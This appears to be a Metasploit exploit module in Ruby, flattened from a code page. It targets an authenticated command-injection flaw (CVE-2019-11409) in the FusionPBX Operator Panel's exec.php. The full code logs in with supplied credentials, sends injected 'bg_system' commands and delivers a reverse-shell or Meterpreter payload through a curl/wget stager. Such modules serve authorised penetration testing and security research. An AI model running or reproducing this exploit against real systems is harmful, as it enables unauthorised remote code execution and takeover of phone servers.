1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name'=> 'FusionPBX Operator Panel exec.php Command Execution', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in FusionPBX versions 4.4.3 and prior. The <code>exec.php</code> file within the Operator Panel permits users with operator_panel_view</code> permissions, or administrator permissions, to execute arbitrary commands as the web server user by sending a <code>system</code> command to the FreeSWITCH event socket interface. This module has been tested successfully on FusionPBX version 4.4.1 on Ubuntu 19.04 (x64). }, 'License' => MSF_LICENSE, 'Author'=> [ 'Dustin Cobb', # Discovery and exploit 'bcoles' # Metasploit ], 'References'=> [ ['CVE', '2019-11409'], ['EDB', '46985'], ['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'], ['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611'] ], 'Platform'=> %w[unix linux], 'Arch'=> [ARCH_CMD, ARCH_X86, ARCH_X64], 'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"}, 'CmdStagerFlavor' => %w[curl wget], 'Targets' => [ ['Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, 'Type' => :unix_memory ], ['Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, 'Type' => :linux_dropper ] ], 'Privileged'=> false, 'DefaultOptions'=> { 'SSL' => true, 'RPORT' => 443 }, 'DisclosureDate'=> '2019-06-06', 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']), OptString.new('USERNAME', [true, 'The username for FusionPBX']), OptString.new('PASSWORD', [true, 'The password for FusionPBX']) ] end def login(user, pass) vprint_status "Authenticating as user '#{user}'" vars_post = { username: user, password: pass, path: '' } res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'), 'vars_post' => vars_post }) unless res fail_with Failure::Unreachable, 'Connection failed' end if res.code == 302 && res.headers['location'].include?('login.php') fail_with Failure::NoAccess, "Login failed for user '#{user}'" end unless res.code == 200 fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" end cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first unless cookie fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie' end print_good "Authenticated as user '#{user}'" cookie end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.body.include?('FusionPBX') return CheckCode::Detected end CheckCode::Safe end def execute_command(cmd, opts = {}) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'), 'cookie'=> "PHPSESSID=#{@cookie}", 'vars_get' => {'cmd' => "bg_system #{cmd}"} }, 5) unless res return if session_created? fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" end if res.body.include? 'access denied' fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel" end res end def exploit unless check == CheckCode::Detected fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable" end @cookie = login(datastore['USERNAME'], datastore['PASSWORD']) print_status "Sending payload (#{payload.encoded.length} bytes) ..." case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager(:linemax => 1_500) end end end |